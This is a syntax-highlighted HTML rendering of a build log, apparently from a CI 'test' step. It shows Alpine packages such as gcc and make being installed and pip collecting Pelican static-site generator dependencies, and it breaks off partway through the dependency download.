&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;libatomic&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;.2.1_git20220924-r10&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;gmp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;.2.1-r3&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;9&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;isl26&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.26-r1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;mpfr4&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.2.0_p12-r0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;11&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;mpc1&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.3.1-r1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;gcc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;.2.1_git20220924-r10&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;13&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;musl-dev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.2.4-r1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;14&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;libc-dev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.7.2-r5&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;15&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;g++&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;.2.1_git20220924-r10&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;16&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;libsass&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;.6.5-r0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;17&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;make&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.4.1-r1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Executing&lt;span class="w"&gt; &lt;/span&gt;busybox-1.36.1-r2.trigger
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;OK:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;246&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;MiB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;55&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;packages
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;requirements.txt
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;pelican
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;pelican-4.8.0-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.4&lt;span class="w"&gt; &lt;/span&gt;MB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.4/1.4&lt;span class="w"&gt; &lt;/span&gt;MB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;539&lt;/span&gt;.9&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;markdown
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;Markdown-3.4.4-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;94&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;94&lt;/span&gt;.2/94.2&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;540&lt;/span&gt;.1&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;typogrify
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;typogrify-2.0.7.tar.gz&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Preparing&lt;span class="w"&gt; &lt;/span&gt;metadata&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;setup.py&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;started
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Preparing&lt;span class="w"&gt; &lt;/span&gt;metadata&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;setup.py&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;finished&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;status&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;done&amp;#39;&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;pelican-search
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;pelican_search-1.1.0-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;.6&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;pelican-neighbors
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;pelican_neighbors-1.2.0-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;pelican-webassets
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;pelican_webassets-2.0.0-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;.8&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;libsass
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;libsass-0.22.0.tar.gz&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;316&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;316&lt;/span&gt;.3/316.3&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;552&lt;/span&gt;.1&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Preparing&lt;span class="w"&gt; &lt;/span&gt;metadata&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;setup.py&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;started
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Preparing&lt;span class="w"&gt; &lt;/span&gt;metadata&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;setup.py&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;finished&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;status&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;done&amp;#39;&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;docutils&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.16
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;docutils-0.20.1-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;572&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;572&lt;/span&gt;.7/572.7&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;549&lt;/span&gt;.2&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;rich&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.1
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;rich-13.5.2-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;239&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;239&lt;/span&gt;.7/239.7&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;485&lt;/span&gt;.3&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;jinja2&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.7
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;Jinja2-3.1.2-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;133&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;133&lt;/span&gt;.1/133.1&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;342&lt;/span&gt;.6&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;pytz&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2020&lt;/span&gt;.1
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;pytz-2023.3-py2.py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;502&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;502&lt;/span&gt;.3/502.3&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;547&lt;/span&gt;.3&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;pygments&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.6
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;Pygments-2.16.1-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.2&lt;span class="w"&gt; &lt;/span&gt;MB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.2/1.2&lt;span class="w"&gt; &lt;/span&gt;MB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;551&lt;/span&gt;.4&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;unidecode&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.1
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;Unidecode-1.3.6-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;235&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;235&lt;/span&gt;.9/235.9&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;554&lt;/span&gt;.2&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;blinker&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.4
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;blinker-1.6.2-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;python-dateutil&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.8
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;python_dateutil-2.8.2-py2.py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;247&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;247&lt;/span&gt;.7/247.7&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;235&lt;/span&gt;.7&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;feedgenerator&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.9
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;feedgenerator-2.1.0-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;importlib-metadata&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.4
